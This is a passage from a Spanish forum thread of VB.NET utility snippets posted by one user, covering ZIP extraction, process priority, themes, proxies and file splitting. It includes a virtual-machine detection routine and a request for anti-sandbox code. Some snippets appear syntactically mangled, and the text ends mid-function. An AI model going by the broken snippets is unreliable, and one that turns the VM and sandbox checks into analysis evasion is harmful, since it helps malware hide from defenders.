· Descomprimir con DotNetZip #Region " DotNetZip Extract " ' [ DotNetZip Extract Function ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "Ionic.Zip.dll". ' 2. Use the code below. ' ' Examples: ' DotNetZip_Extract("C:\File.zip") ' DotNetZip_Extract("C:\File.zip", "C:\Folder\Test\", , "MyPassword") Imports Ionic.Zip Imports Ionic.Zlib Dim ZipFileCount As Long = 0 Dim ExtractedFileCount As Long = 0 Private Function DotNetZip_Extract(ByVal InputFile As String, _ Optional ByVal OutputDir As String = Nothing, _ Optional ByVal Overwrite As ExtractExistingFileAction = ExtractExistingFileAction.DoNotOverwrite, _ Optional ByVal Password As String = "Nothing" _ ) As Boolean Try ' Create Extractor Dim Extractor As ZipFile = ZipFile.Read(InputFile) ' Set Extractor parameters Extractor.Password = Password ' Zip Password Extractor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations Extractor.ZipErrorAction = ZipErrorAction.Throw ' Specify the output path where the files will be extracted If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName ' Add Progress 'AddHandler Extractor.ExtractProgress, AddressOf DotNetZip_Extract_Progress ' Progress Handler 'For Each Entry As ZipEntry In Extractor.Entries : ZipFileCount += 1 : Next ' Total bytes size of Zip 'ZipFileCount = Extractor.Entries.Count ' Total files inside Zip ' Start the extraction For Each Entry As ZipEntry In Extractor.Entries : Entry.Extract(OutputDir, Overwrite) : Next ZipFileCount = 0 : ExtractedFileCount = 0 ' Reset vars Extractor.Dispose() Return True ' File Extracted Catch ex As Exception ' Return False ' File not extracted Throw New Exception(ex.Message) End Try End Function ' Public Sub DotNetZip_Extract_Progress(ByVal sender As Object, ByVal e As ExtractProgressEventArgs) ' ' If e.EventType = ZipProgressEventType.Extracting_BeforeExtractEntry Then ' If ExtractedFileCount = 0 Then ' MsgBox("Begin Extracting: " & _ ' e.ArchiveName) ' Input ZIP filename ' End If ' ' ExtractedFileCount += 1 ' MsgBox("Writing: " & e.CurrentEntry.FileName & _ ' " (" & (ExtractedFileCount) & "/" & ZipFileCount & ")") ' Output filename uncompressing ' ' ProgressBar1.Maximum = ZipFileCount ' Count of total files to uncompress ' ProgressBar1.Value = ExtractedFileCount ' Count of uncompressed files ' ' ElseIf e.EventType = ZipProgressEventType.Extracting_AfterExtractEntry Then ' If ExtractedFileCount = ZipFileCount Then ' MessageBox.Show("Extraction Done: " & vbNewLine & _ ' e.ArchiveName) ' Uncompression finished ' End If ' End If ' ' End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Abril 2013, 05:24 am
· Modificar la prioridad de un proceso, por el nombre. #Region " Set Process Priority By Name " ' [ Set Process Priority By Name Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_Process_Priority_By_Name("notepad.exe", ProcessPriorityClass.RealTime) ' Set_Process_Priority_By_Name("notepad", ProcessPriorityClass.Idle, False) Private Function Set_Process_Priority_By_Name(ByVal ProcessName As String, _ ByVal Priority As ProcessPriorityClass, _ Optional ByVal OnlyFirstFound As Boolean = True ) As Boolean Try If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4) For Each Proc As Process In System.Diagnostics.Process.GetProcessesByName(ProcessName) Proc.PriorityClass = Priority If OnlyFirstFound Then Exit For Next Return True Catch ex As Exception ' Return False Throw New Exception(ex.Message) End Try End Function #End Region
· Modificar la prioridad de un proceso, por el handle y usando APIS. #Region " Set Process Priority By Handle " ' [ Set Process Priority By Handle Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_Process_Priority_By_Handle(Process.GetCurrentProcess().Handle, Process_Priority.RealTime) ' Set_Process_Priority_By_Handle(33033, Process_Priority.Idle) Private Declare Function GetPriorityClass Lib "kernel32" (ByVal hProcess As Long) As Long Private Declare Function SetPriorityClass Lib "kernel32" (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long Public Enum Process_Priority As Int32 RealTime = 256 High = 128 Above_Normal = 32768 Normal = 32 Below_Normal = 16384 Low = 64 End Enum Private Function Set_Process_Priority_By_Handle(ByVal Process_Handle As IntPtr, _ ByVal Process_Priority As Process_Priority) As Boolean SetPriorityClass(Process_Handle, Process_Priority) If GetPriorityClass(Process_Handle) = Process_Priority Then _ Return True _ Else Return False ' Return false if priority can't be changed 'cause user permissions. End Function #End Region
· modificar la prioridad del Thread actual: #Region " Set Current Thread Priority " ' [ Set Current Thread Priority Function ] ' ' // By Elektro H@cker ' ' Examples : ' Set_Current_Thread_Priority(Threading.ThreadPriority.AboveNormal) ' MsgBox(Set_Current_Thread_Priority(Threading.ThreadPriority.Highest)) Public Shared Function Set_Current_Thread_Priority(ByVal Thread_Priority As Threading.ThreadPriority) As Boolean Try Threading.Thread.CurrentThread.Priority = Thread_Priority Return True Catch ex As Exception ' Return False Throw New Exception(ex.Message) End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 00:06 am
· Detectar la ejecución de la aplicación en una máquina virtual. #Region " Detect Virtual Machine " ' [ Detect Virtual Machine Function ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference for "System.Management" ' ' Examples : ' MsgBox(Detect_Virtual_Machine) ' If Detect_Virtual_Machine() Then MsgBox("This program cannot run on a virtual machine") Imports System.Management Private Function Detect_Virtual_Machine() As Boolean Dim ModelName As String = Nothing Dim SearchQuery = New ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive WHERE BytesPerSector > 0") For Each ManagementSystem In SearchQuery.Get ModelName = ManagementSystem("Model").ToString.Split(" ").First.ToLower If ModelName = "virtual" Or _ ModelName = "vmware" Or _ ModelName = "vbox" Or _ ModelName = "qemu" _ Then Return True ' Virtual machine HDD Model Name found End If Next Return False ' Virtual machine HDD Model Name not found End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 00:27 am
A ver si alguien se anima y hace un snippet Anti-Sandbox, que según he leido es bien fácil: http://www.aspfree.com/c/a/braindump/virtualization-and-sandbox-detection/ pero por desgracia hay demasiados software virtualizadores para ponerse a probar uno por uno para hacer una función genérica...
PD: ¿A nadie le interesa aportar snippets aquí? :(
Saludos!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 04:22 am
· Animar la ventana con efectos #Region " Animate Window " ' [ Animate Window ] ' ' // By Elektro H@cker ' ' Examples : ' AnimateWindow(Me.Handle, 1500, Animation.Show_Fade) ' AnimateWindow(Me.Handle, 1500, Animation.Hide_Center) Public Declare Function AnimateWindow Lib "user32" (ByVal hwnd As IntPtr, ByVal dwtime As Int64, ByVal dwflags As Animation) As Boolean Public Enum Animation As Int32 Show_Left_To_Right = 1 Show_Right_To_left = 2 Show_Top_To_Bottom = 4 Show_Bottom_to_top = 8 Show_Corner_Left_UP = 5 Show_Corner_Left_Down = 9 Show_Corner_Right_UP = 6 Show_Corner_Right_Down = 10 Show_Center = 16 Show_Fade = 524288 Hide_Left_To_Right = 1 Or 65536 Hide_Right_To_left = 2 Or 65536 Hide_Top_To_Bottom = 4 Or 65536 Hide_Bottom_to_top = 8 Or 65536 Hide_Corner_Left_UP = 5 Or 65536 Hide_Corner_Left_Down = 9 Or 65536 Hide_Corner_Right_UP = 6 Or 65536 Hide_Corner_Right_Down = 10 Or 65536 Hide_Center = 16 Or 65536 Hide_Fade = 524288 Or 65536 End Enum #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 17:42 pm
· Ejemplo de un String multi-línea para aplicaciones de consola: Dim Logo As String = <a><![CDATA[ ___ _ _ _ _ _____ _ _ _ / _ \ | (_) | | (_) |_ _(_) | | | / /_\ \_ __ _ __ | |_ ___ __ _| |_ _ ___ _ __ | | _| |_| | ___ | _ | '_ \| '_ \| | |/ __/ _` | __| |/ _ \| '_ \ | | | | __| |/ _ \ | | | | |_) | |_) | | | (_| (_| | |_| | (_) | | | | | | | | |_| | __/ \_| |_/ .__/| .__/|_|_|\___\__,_|\__|_|\___/|_| |_| \_/ |_|\__|_|\___| | | | | |_| |_| ]]></a>.Value Console.WriteLine(Logo)
(http://img191.imageshack.us/img191/259/captura1y.png)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 18:47 pm
· Setear los argumentos commandline por defecto del modo debug de la aplicación. #Region " Set CommandLine Arguments " ' [ Set CommandLine Arguments Function ] ' ' // By Elektro H@cker ' ' Examples: ' For Each Arg In Arguments : MsgBox(Arg) : Next Dim Arguments As List(Of String) = Set_CommandLine_Arguments() Public Function Set_CommandLine_Arguments() As List(Of String) ' Debug Commandline arguments for this application: Dim DebugArguments = "Notepad.exe -Sleep 5 -Interval 50 -Key CTRL+C" Return DebugArguments.Split(" ").ToList #Else ' Nomal Commandline arguments Return My.Application.CommandLineArgs.ToList #End If End Function #End Region
(http://img266.imageshack.us/img266/4114/prtscrcapture2j.jpg)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 19:34 pm
· Un Sub especial para el control de terceros "CButton", para modificar los colores (Y actualizar el estado de los colores). http://www.codeproject.com/Articles/26622/Custom-Button-Control-with-Gradient-Colors-and-Ext #Region " Change Cbutton Color " ' [ Change Cbutton Color ] ' ' // By Elektro H@cker ' ' Examples: ' Change_Cbutton_Color(CButton1, Color.Black, Color.DarkRed, Color.Red) Private Sub Change_Cbutton_Color(ByVal Button_Name As CButtonLib.CButton, _ ByVal Color1 As Color, _ ByVal Color2 As Color, _ ByVal Color3 As Color) Button_Name.ColorFillBlend.iColor(0) = Color1 Button_Name.ColorFillBlend.iColor(1) = Color2 Button_Name.ColorFillBlend.iColor(2) = Color3 Button_Name.UpdateDimBlends() End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 22:35 pm
· comprueba si Aero está activado: #Region " Is Aero Enabled? " ' [ Is Aero Enabled? Function ] ' ' Examples: ' MsgBox(Is_Aero_Enabled) <System.Runtime.InteropServices.DllImport("dwmapi.dll")> _ Private Shared Function DwmIsCompositionEnabled(ByRef enabled As Boolean) As Integer End Function Public Function Is_Aero_Enabled() As Boolean If Environment.OSVersion.Version.Major < 6 Then Return False ' Windows version is under Windows Vista so not Aero. Else DwmIsCompositionEnabled(Is_Aero_Enabled) End If End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Abril 2013, 06:02 am
· Usar un proxy en el WebBrowser: #Region " Use Proxy " ' [ Use Proxy ] ' ' Examples : ' Use_Proxy("213.181.73.145:80") ' WebBrowser1.Navigate("http://www.ipchicken.com/") <Runtime.InteropServices.DllImport("wininet.dll", SetLastError:=True)> _ Private Shared Function InternetSetOption(ByVal hInternet As IntPtr, ByVal dwOption As Integer, ByVal lpBuffer As IntPtr, ByVal lpdwBufferLength As Integer) As Boolean End Function Public Structure Struct_INTERNET_PROXY_INFO Public dwAccessType As Integer Public proxy As IntPtr Public proxyBypass As IntPtr End Structure Private Sub Use_Proxy(ByVal strProxy As String) Const INTERNET_OPTION_PROXY As Integer = 38 Const INTERNET_OPEN_TYPE_PROXY As Integer = 3 Dim struct_IPI As Struct_INTERNET_PROXY_INFO struct_IPI.dwAccessType = INTERNET_OPEN_TYPE_PROXY struct_IPI.proxy = Marshal.StringToHGlobalAnsi(strProxy) struct_IPI.proxyBypass = Marshal.StringToHGlobalAnsi("local") Dim intptrStruct As IntPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(struct_IPI)) Marshal.StructureToPtr(struct_IPI, intptrStruct, True) Dim iReturn As Boolean = InternetSetOption(IntPtr.Zero, INTERNET_OPTION_PROXY, intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI)) End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Abril 2013, 13:15 pm
[ListView] Restrict column resizing Restringe cambiar de tamaño una columna. ' [ListView] Restrict column resizing Private Sub ListView1_ColumnWidthChanging(sender As Object, e As ColumnWidthChangingEventArgs) Handles ListView1.ColumnWidthChanging e.Cancel = True e.NewWidth = sender.Columns(e.ColumnIndex).Width End Sub
Get Non-Client Area Width Devuelve el tamaño del borde del área NO cliente de la aplicación. #Region " Get Non-Client Area Width " ' [ Get Non-Client Area Width Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_NonClientArea_Width(Form1)) ' Me.Location = New Point((Form1.Location.X + (Form1.Width + Get_NonClientArea_Width(Form1))), Form1.Location.Y) Private Function Get_NonClientArea_Width(ByVal Form As Form) As Int32 Return (Form.Width - Form.ClientSize.Width) End Function #End Region
Extend Non Client Area Extiende el área NO cliente al área cliente de la aplicación #Region " Extend Non Client Area " ' [ Extend Non Client Area Function ] ' ' // By Elektro H@cker ' ' Examples : ' Extend_Non_Client_Area(Me.Handle, 50, 50, -0, 20) ' MsgBox(Extend_Non_Client_Area(12345, -1, -1, -1, -1)) <System.Runtime.InteropServices.DllImport("dwmapi.dll")> _ Private Shared Function DwmExtendFrameIntoClientArea(ByVal handle As IntPtr, ByRef Margins As MARGINS) As Integer End Function <System.Runtime.InteropServices.StructLayout(System.Runtime.InteropServices.LayoutKind.Sequential)> _ Public Structure MARGINS Public Left As Integer Public Right As Integer Public Up As Integer Public Down As Integer End Structure Private Function Extend_Non_Client_Area(ByVal Window_Handle As IntPtr, _ ByVal Left As Int32, _ ByVal Right As Int32, _ ByVal Up As Int32, _ ByVal Down As Int32) As Boolean Try Dim Margins As New MARGINS() Margins.Left = Left Margins.Right = Right Margins.Up = Up Margins.Down = Down DwmExtendFrameIntoClientArea(Window_Handle, Margins) Return True Catch ex As Exception 'Return false Throw New Exception(ex.Message) End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Abril 2013, 13:19 pm
If Debug conditional #Else #End If
If Debugger IsAttached conditional Ejemplo de una condicional de ejecución en Debug If Debugger.IsAttached Then Else End If
String Format Ejemplo de un String Format MsgBox(String.Format("{0}+{1} = {2}", "Uno", "Dos", "Tres"))
Get NT Version Devuelve la versión NT de Windows PD: He omitido Windows 3.51 para no complicar el código, pero a quien le importa eso, ¿No? #Region " Get NT Version " ' [ Get NT Version Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_NT_Version()) ' If Get_NT_Version() < 6.0 Then MsgBox("This application only works with an Aero compatible windows version") Private Function Get_NT_Version() As Double Dim NT As Double = CDbl(Val(System.Environment.OSVersion.Version.ToString.Substring(0, 3))) ' INFO: ' ----- ' 3.1 = Windows NT 3.1 ' 3.5 = Windows NT 3.5 ' 4.0 = Windows NT 4.0 ' 5.0 = Windows 2000 ' 5.1 = Windows XP / Windows Fundamentals for Legacy PCs ' 5.2 = Windows XP 64 Bit / Windows server 2003 / Windows server 2003 R2 / Windows home Server ' 6.0 = Windows VISTA / Windows server 2008 ' 6.1 = Windows 7 / Windows server 2008 R2 ' 6.2 = Windows 8 / Windows 8 Phone / Windows Server 2012 Return NT End Function
#End Region
Extract Icon Devuelve el icono de un archivo #Region " Extract Icon " ' [ Extract Icon Function ] ' ' // By Elektro H@cker ' ' Me.Icon = Extract_Icon("c:\windows\explorer.exe") ' Dim MyIcon as System.Drawing.Icon = Extract_Icon("c:\Test.txt") Private Function Extract_Icon (ByVal File As String) As System. Drawing. Icon Try : Return System. Drawing. Icon. ExtractAssociatedIcon(File) Catch ex As Exception 'MsgBox(ex.message) Return Nothing End Try Else : Return Nothing End If End Function #End Region
[OSVersionInfo] - Examples Ejemplos de uso de OSVersionInfo Se necesita esta class (o la dll): http://www.codeproject.com/Articles/73000/Getting-Operating-System-Version-Info-Even-for-Win MsgBox(OSVersionInfo.Name) MsgBox(OSVersionInfo.Edition) MsgBox(OSVersionInfo.ServicePack) MsgBox(OSVersionInfo.VersionString) MsgBox(OSVersionInfo.BuildVersion) MsgBox(OSVersionInfo.OSBits.ToString) MsgBox(OSVersionInfo.ProcessorBits.ToString) MsgBox(OSVersionInfo.ProgramBits.ToString)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Abril 2013, 13:26 pm
Cambia el theme actual de Windows Os aconsejo cambiar el theme de esta manera en lugar de usar la función SetWindowTheme porque dicha función no cambia el theme corréctamente (no cambia los colores personalizados). #Region " Set Aero Theme " ' [ Set Aero Theme Function ] ' ' // By Elektro H@cker ' ' Instructions : ' Add a reference for "System.ServiceProcess" ' ' Set_Aero_Theme("C:\Windows\Resources\Themes\aero\aero.msstyles") ' Set_Aero_Theme("C:\Windows\Resources\Themes\Concave 7\Concave 7.msstyles") ' Set_Aero_Theme("C:\Windows\Resources\Themes\Aero\Luna.msstyles", "Metallic", "NormalSize") Private Function Set_Aero_Theme(ByVal ThemeFile As String, _ Optional ByVal ColorName As String = "NormalColor", _ Optional ByVal SizeName As String = "NormalSize" _ ) As Boolean Try Using ThemeService As New ServiceProcess.ServiceController("Themes") ThemeService.Stop() ThemeService.WaitForStatus(1) ' Wait for Stopped My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "LoadedBefore", "0", Microsoft.Win32.RegistryValueKind.String) My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "DllName", ThemeFile, Microsoft.Win32.RegistryValueKind.String) My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "ColorName", ColorName, Microsoft.Win32.RegistryValueKind.String) My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "SizeName", SizeName, Microsoft.Win32.RegistryValueKind.String) ThemeService.Start() ThemeService.WaitForStatus(4) ' Wait for Running End Using Catch ex As Exception 'MsgBox(ex.message) Return False End Try Return True End Function #End Region
Devuelve información del theme actual PD: Yo solo he creado la función. #Region " Get Current Aero Theme " ' [ Get Current Aero Theme Function ] ' ' // By Elektro H@cker ' ' Examples: ' MsgBox(Get_Current_Aero_Theme(Theme_Info.Name)) ' MsgBox(Get_Current_Aero_Theme(Theme_Info.FullPath)) Public Structure ThemeInfo Private Declare Unicode Function GetCurrentThemeName _ Lib "uxtheme.dll" _ ( _ ByVal pszThemeFileName As String, _ ByVal dwMaxNameChars As Int32, _ ByVal pszColorBuff As String, _ ByVal cchMaxColorChars As Int32, _ ByVal pszSizeBuff As String, _ ByVal cchMaxSizeChars As Int32 _ ) As Int32 Private Const S_OK As Int32 = &H0 Private m_FileName As String Private m_ColorSchemeName As String Private m_SizeName As String Public Property FileName() As String Get Return m_FileName End Get Set(ByVal Value As String) m_FileName = Value End Set End Property Public Property ColorSchemeName() As String Get Return m_ColorSchemeName End Get Set(ByVal Value As String) m_ColorSchemeName = Value End Set End Property Public Property SizeName() As String Get Return m_SizeName End Get Set(ByVal Value As String) m_SizeName = Value End Set End Property Public Overrides Function ToString() As String Return _ "FileName={" & Me.FileName & _ "} ColorSchemeName={" & Me.ColorSchemeName & _ "} SizeName={" & Me.SizeName & "}" End Function Public Shared ReadOnly Property CurrentTheme() As ThemeInfo Get Dim ti As New ThemeInfo() Const BufferLength As Int32 = 256 ti.FileName = Strings.Space(BufferLength) ti.ColorSchemeName = ti.FileName ti.SizeName = ti.FileName If _ GetCurrentThemeName( _ ti.FileName, _ BufferLength, _ ti.ColorSchemeName, _ BufferLength, _ ti.SizeName, _ BufferLength _ ) = S_OK _ Then ti.FileName = NullTrim(ti.FileName) ti.ColorSchemeName = NullTrim(ti.ColorSchemeName) ti.SizeName = NullTrim(ti.SizeName) Return ti Else Const Message As String = _ "An error occured when attempting to get theme info." Throw New Exception(Message) End If End Get End Property Private Shared Function NullTrim(ByVal Text As String) As String Return _ Strings.Left( _ Text, _ Strings.InStr(Text, ControlChars.NullChar) - 1 _ ) End Function End Structure Public Enum Theme_Info Name FileName FullPath ColorScheme Size End Enum Private Function Get_Current_Aero_Theme(ByVal Info As Theme_Info) As String Select Case Info Case Theme_Info.Name : Return ThemeInfo.CurrentTheme.FileName.Split("\").Last.Split(".").First Case Theme_Info.FileName : Return ThemeInfo.CurrentTheme.FileName.Split("\").Last Case Theme_Info.FullPath : Return ThemeInfo.CurrentTheme.FileName Case Theme_Info.ColorScheme : Return ThemeInfo.CurrentTheme.ColorSchemeName Case Theme_Info.Size : Return ThemeInfo.CurrentTheme.SizeName Case Else : Return Nothing End Select End Function #End Region
Escribe texto a la CMD desde un proyecto Windowsforms Declare Function AttachConsole Lib "kernel32.dll" (ByVal dwProcessId As Int32) As Boolean Declare Function FreeConsole Lib "kernel32.dll" () As Boolean AttachConsole(-1) ' Attach the console System.Console.Writeline("I am writing from a WinForm to the console!") FreeConsole() ' Desattach the console
Adjunta una nueva instancia de la CMD a la aplicación. Public Declare Function AllocConsole Lib "kernel32.dll" () As Boolean AllocConsole() Console.WriteLine("this is my console!") : Threading.Thread.Sleep(5000)
Detecta si la aplicación se ejecutó desde la consola Un ejemplo de uso? Pues por ejemplo el que yo le doy, si el usuario ejecuta la aplicación desde la consola entonces muestro una ayuda sobre la sintaxis y etc en la consola, de lo contrario obviamente no muestro nada. #Region " App Is Launched From CMD? " ' [ App Is Launched From CMD? Function ] ' ' // By Elektro H@cker ' ' Examples: ' MsgBox(App_Is_Launched_From_CMD) ' If App_Is_Launched_From_CMD() Then Console.WriteLine("Help for this application: ...") Declare Function AttachConsole Lib "kernel32.dll" (ByVal dwProcessId As Int32) As Boolean Declare Function FreeConsole Lib "kernel32.dll" () As Boolean Private Function App_Is_Launched_From_CMD() As Boolean If AttachConsole(-1) Then FreeConsole() Return True Else Return False End If End Function #End Region
Parte un archivo de texto en trozos especificando el tamaño. PD: El code no es de mi propiedad pero lo he sacado de un código de C# y lo he retocado casi por completo para hacerlo más funcional, así que me doy los créditos. #Region " Split File " ' [ Split File Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Split_File("C:\Test.txt", 10000, , True)) ' MsgBox(Split_File("C:\Test.txt", 10000, "Splitted")) Public Function Split_File (ByVal File As String, _ ByVal ChunkSize As Long, _ Optional ByVal OutputName As String = Nothing, _ Optional ByVal Preserve_FileExtension As Boolean = True _ ) As Boolean Dim Index As Long Dim OutputFile As String Dim BaseName As String Dim StartPosition As Long Dim Buffer As Byte() = New Byte() {} Dim InputFileStram As System.IO.FileStream Dim OutputFileStram As System.IO.FileStream Dim BinaryWriter As IO.BinaryWriter Dim BinaryReader As IO.BinaryReader Dim Fragments As Long Dim RemainingBytes As Long Dim Progress As Double Dim Zeroes As String = "" Try Dim FileInfo As New IO. FileInfo(File) Dim Filename As String = FileInfo.FullName Dim FileExtension As String = FileInfo.Extension Dim outputpath As String = FileInfo.DirectoryName Dim FileSize As Long = FileInfo.Length If OutputName IsNot Nothing Then : BaseName = OutputName Else : BaseName = FileInfo.Name.Replace(FileInfo.Extension, "") : End If If Not IO. File. Exists(Filename ) Then MsgBox("File " & Filename & " doesn't exist") Return False End If If FileSize <= ChunkSize Then MsgBox(Filename & " size(" & FileSize & ") is less than the ChunkSize(" & ChunkSize & ")") Return False End If InputFileStram = New IO.FileStream(Filename, IO.FileMode.Open) BinaryReader = New IO.BinaryReader(InputFileStram) Fragments = Math.Floor(FileSize / ChunkSize) For n As Integer = 1 To Fragments.ToString.Length : Zeroes += "0" : Next Progress = 100 / Fragments RemainingBytes = FileSize - (Fragments * ChunkSize) If outputpath = "" Then outputpath = IO.Directory.GetParent(Filename).ToString If Not IO.Directory.Exists(outputpath) Then IO.Directory.CreateDirectory(outputpath) BinaryReader.BaseStream.Seek(0, IO.SeekOrigin.Begin) For Index = 1 To Fragments If Preserve_FileExtension Then : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes) & FileExtension Else : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes) End If ReDim Buffer(ChunkSize - 1) BinaryReader.Read(Buffer, 0, ChunkSize) StartPosition = BinaryReader.BaseStream.Seek(0, IO.SeekOrigin.Current) If IO. File. Exists(OutputFile ) Then IO. File. Delete(OutputFile ) OutputFileStram = New System.IO.FileStream(OutputFile, IO.FileMode.Create) BinaryWriter = New IO.BinaryWriter(OutputFileStram) BinaryWriter.Write(Buffer) OutputFileStram.Flush() BinaryWriter.Close() OutputFileStram.Close() Next If RemainingBytes > 0 Then If Preserve_FileExtension Then : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes) & FileExtension Else : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes) End If ReDim Buffer(RemainingBytes - 1) BinaryReader.Read(Buffer, 0, RemainingBytes) If IO. File. Exists(OutputFile ) Then IO. File. Delete(OutputFile ) OutputFileStram = New System.IO.FileStream(OutputFile, IO.FileMode.Create) BinaryWriter = New IO.BinaryWriter(OutputFileStram) BinaryWriter.Write(Buffer) OutputFileStram.Flush() BinaryWriter.Close() OutputFileStram.Close() End If InputFileStram.Close() BinaryReader.Close() Return True Catch ex As Exception MsgBox(ex.Message) Return False Finally BinaryWriter = Nothing OutputFileStram = Nothing BinaryReader = Nothing InputFileStram = Nothing End Try End Function #End Region
Parte un archivo de texto en trozos especificando el número de líneas por archivo. #Region " Split TextFile By Number Of Lines " ' [ Split TextFile By Number Of Lines Function ] ' ' // By Elektro H@cker ' ' Examples : ' Split_TextFile_By_Number_Of_Lines("C:\Test.txt", 10000) ' MsgBox(Split_TextFile_By_Number_Of_Lines("C:\Test.txt", 10)) Private Function Split_TextFile_By_Number_Of_Lines(ByVal TextFile As String, ByVal NumberOfLines As Long) As Boolean Try Dim FileInfo As New IO.FileInfo(TextFile) If NumberOfLines > IO. File. ReadAllLines(TextFile ). Length Then ' MsgBox("Number of lines is greater than total file lines") Return False End If Using sr As New System.IO.StreamReader(TextFile) Dim fileNumber As Integer = 0 While Not sr.EndOfStream Dim count As Integer = 0 Using sw As New System.IO.StreamWriter(FileInfo.DirectoryName & "\" & FileInfo.Name.Replace(FileInfo.Extension, " " & System.Threading.Interlocked.Increment(fileNumber) & FileInfo.Extension)) sw.AutoFlush = True While Not sr.EndOfStream AndAlso Not System.Threading.Interlocked.Increment(count) > NumberOfLines Application.DoEvents() sw.WriteLine(sr.ReadLine()) End While End Using End While End Using Return True Catch ex As Exception Throw New Exception(ex.Message) End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Abril 2013, 21:55 pm
Comprueba si es la primera ejecuciónd e la aplicación. PD: La condicional no está mal, es para permitir cambiar manuálmente el valor de la clave a "True" para testear y esas cosas. CORREGIDO#Region " Is First Run? " ' [ Is First Run? Function ] ' ' // By Elektro H@cker ' ' Examples: ' MsgBox(Is_First_Run) ' If Is_First_Run() Then... Private Function Is_First_Run() As Boolean Dim RegRoot As Microsoft.Win32.RegistryKey = Registry.CurrentUser Dim RegKey As String = "Software\MyApplicationName" Dim RegValue As String = "First Run" Dim FirstRun As Boolean RegRoot.CreateSubKey(RegKey) RegRoot.Close() Try : FirstRun = Convert.ToBoolean(My.Computer.Registry.GetValue(RegRoot.ToString & "\" & RegKey, RegValue, Microsoft.Win32.RegistryValueKind.String)) Catch : FirstRun = True End Try If FirstRun Then My.Computer.Registry.SetValue(RegRoot.ToString & "\" & RegKey, RegValue, "False", Microsoft.Win32.RegistryValueKind.String) Return True Else Return False End If End Function #End region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Mayo 2013, 10:23 am
Elimina el contenido del portapapeles Private Sub Delete_Clipboard() Clipboard.SetText(vbCr) End Sub
Añade un texto de ayuda (una "pista") a un control. Ya posteé la manera de hacer esto usando API pero prefiero esta forma para tener control sobre el "forecolor" del teXto. #Region " Set Control Hint " ' //By Elektro H@cker Dim TextBox_Hint As String = "Type your RegEx here..." ' TextBox1 [Enter/Leave] Private Sub TextBox1_Hint(sender As Object, e As EventArgs) Handles _ TextBox1.Enter, _ TextBox1.Leave If sender.Text = TextBox_Hint Then : sender.text = "" ElseIf sender.Text = "" Then : sender.text = TextBox_Hint End If End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Mayo 2013, 16:44 pm
Elimina el contenido del portapapeles: Private Sub Delete_Clipboard() Clipboard.SetText(vbCr) End Sub
Devuelve el color de un pixel en varios formatos: CORREGIDO, si el valor era 0, el formato Hexadecimal devolvía un 0 de menos. #Region " Get Pixel Color " ' [ Get Pixel Color Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' Dim RGB As Color = Get_Pixel_Color(MousePosition.X, MousePosition.Y, ColorType.RGB) ' MsgBox(Get_Pixel_Color(100, 100, ColorType.RGB).ToString) ' MsgBox(Get_Pixel_Color(100, 100, ColorType.HEX)) ' MsgBox(Get_Pixel_Color(100, 100, ColorType.HTML)) <System.Runtime.InteropServices.DllImport("user32.dll")> Shared Function GetDC(hwnd As IntPtr) As IntPtr End Function <System.Runtime.InteropServices.DllImport("user32.dll")> Shared Function ReleaseDC(hwnd As IntPtr, hdc As IntPtr) As Int32 End Function <System.Runtime.InteropServices.DllImport("gdi32.dll")> Shared Function GetPixel(hdc As IntPtr, nXPos As Integer, nYPos As Integer) As UInteger End Function Public Enum ColorType RGB HEX HTML End Enum Public Function Get_Pixel_Color(ByVal x As Int32, ByVal y As Int32, ByVal ColorType As ColorType) Dim hdc As IntPtr = 